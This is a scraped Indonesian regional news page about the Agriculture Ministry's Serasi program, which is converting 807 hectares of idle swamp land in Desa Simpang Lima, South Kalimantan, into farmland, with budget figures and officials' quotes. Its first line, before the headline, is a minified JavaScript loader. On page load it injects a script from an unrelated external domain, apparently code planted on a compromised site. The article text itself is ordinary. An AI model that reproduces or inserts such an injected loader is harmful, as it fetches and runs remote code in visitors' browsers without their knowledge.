(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Program Serasi Kementan Buka Lahan 807 Ha di Desa Simpang Lima


MARTAPURA, Sejumlah lahan rawa tak produktif di Kalimantan Selatan (Kalsel) dimanfaatkan Kementerian Pertanian (Kementan) untuk program Selamatkan Rawa Sejahterakan Petani (Serasi). Untuk keperluan tersebut, Kementan mengucurkan dana mencapai Rp600 miliar.

Hal ini disampaikan Direktur Jenderal Prasarana dan Sarana Pertanian (PSP), Kementan RI, Sarwo Edhy, saat meninjau salah satu lokasi program Serasi di Desa Simpang Lima, Kecamatan Cintapuri Darussalam, Kabupaten Banjar, Jum’at (14/6/2019).

“Serasi merupakan kegiatan tindak lanjut dari Hari Pangan Sedunia (HPS 2018) di Kalsel, yang bertujuan untuk mengoptimalisasi potensi lahan rawa di Kalsel,” ujarnya.

Di lokasi ini sudah terlihat alat berat yang bekerja, benih padi sudah ditanam, dan hamparan luas lahan tidur sudah mulai dibuka. Setiap sisinya dibuat saluran air untuk pengairan.

Di Desa Simpang Lima ada lahan seluas 807 hektare lahan tidur yang diubah menjadi areal pertanian.

“Program Serasi di Desa Simpang Lima dialokasikan sekitar Rp3,4 miliar. Kalau di seluruh Kalsel, yaitu 150 ribu hektare, dianggaran sekitar Rp600 miliar,” tambah Sarwo Edhy.

Sarwo didampingi Direktur Perluasan dan Perlindungan Lahan, Indah Megahwati, dan keduanya melihat-lihat lokasi yang akan diolah jadi lahan pertanian. Sesekali melihat data dan memberikan arahan kepada kelompok tani yang bekerja di areal tersebut.

Sarwo menambahkan, anggaran yang diterima Kalsel menjadi yang terbanyak kedua dari tiga provinsi yang menerima bantuan program Serasi tahun ini. Anggaran paling banyak dikucurkan di Sumatera Selatan, yakni sekitar Rp800 miliar, sedangkan, Sulawesi Selatan hanya ratusan juta.

“Anggaran yang dikucurkan sendiri sesuai dengan luasan lahan yang dikelola, dimana setiap hektarenya dianggarkan Rp4,3 juta. Anggaran Sumatera Selatan paling besar, sebab lahan yang diolah mencapai 200 ribu hektare,” sebutnya.

Sementara itu, Indah menambahkan, Kalsel memiliki lahan rawa hampir 80 persen dan merupakan potensi besar.

Menurutnya, untuk mengoptimalkan potensi tersebut tidak mudah. Bukan hanya tanah yang memerlukan waktu untuk proses perbaikan, sumber daya manusia (SDM) pun menjadi kendala.

Dia mencontohkan, lahan yang sebelumnya sudah dibuka untuk budi daya padi, ternyata tak berpenduduk, sehingga pemerintah kesulitan mencari tenaga yang akan bertanam.

Kendala pemanfaatan lahan di Kalsel, menurut Indah, tidak semudah lahan rawa yang dibuka di Sumatera Selatan yang kemudian dikelola pihak swasta. Di Kalsel, pemerintah ingin masyarakat setempat ikut berperan mengelola lahan dengan dibantu pemerintah dan TNI.

“Awalnya, aksesnya tidak bisa dilalui mobil karena hanya jalan kecil. Lalu dengan adanya optimalisasi lahan rawa tersebut, akhirnya dibuat jalan untuk mobilisasi alat-alat berat. Jalannya sudah diaspal, listrik juga, pompa besar. Kini lokasi ini juga ada integrasi ternak ayam, itik, ikan, juga komoditas pertanian lainnya seperti sayuran,” tuturnya. (suara.com)

Reporter:suara.com
Editor:Bie

Desy Arfianty

Recent Posts

Peternakan Babi Dekat Kampus UIN Antasari di Guntung Manggis Dikeluhkan

Pemilik Ternak Diminta Datang ke Kantor Satpol PP Banjarbaru Read More

3 jam ago

Rekayasa Pemasangan ATSC, Jalan Pangeran Suriansyah Steril Parkir dan PKL

KANALKALIMANTAN.COM, BANJARBARU - Kawasan pinggir jalan maupun median di Jalan Pangeran Suriansyah, Kota Banjarbaru, Kalimantan… Read More

4 jam ago

Pj Bupati HSU Resmikan TMMD ke-120 di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan secara resmi membuka… Read More

6 jam ago

Sekat Bakar Antisipasi Karhutla Ring 1 Bandara Syamsudin Noor

KANALKALIMANTAN.COM, BANJARBARU - Provinsi Kalimantan Selatan kembali memfokuskan penanganan ancaman kebakaran hutan dan lahan (Karhutla)… Read More

6 jam ago

Buaya di Pelambuan Banjarmasin Gagal Ditangkap, Tiga Kali Terlihat Warga Muncul

KANALKALIMANTAN.COM, BANJARMASIN - Kemunculan seekor buaya di kawasan sungai Kelurahan Pelambuan, Kecamatan Banjarmasin Utara, Kota… Read More

9 jam ago

Ambulans Baru Layanan Puskesmas Keliling di Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU – Dinas Kesehatan (Dinkes) Kota Banjarbaru hadirkan layanan kesehatan yang lebih dekat dengan… Read More

10 jam ago

This website uses cookies.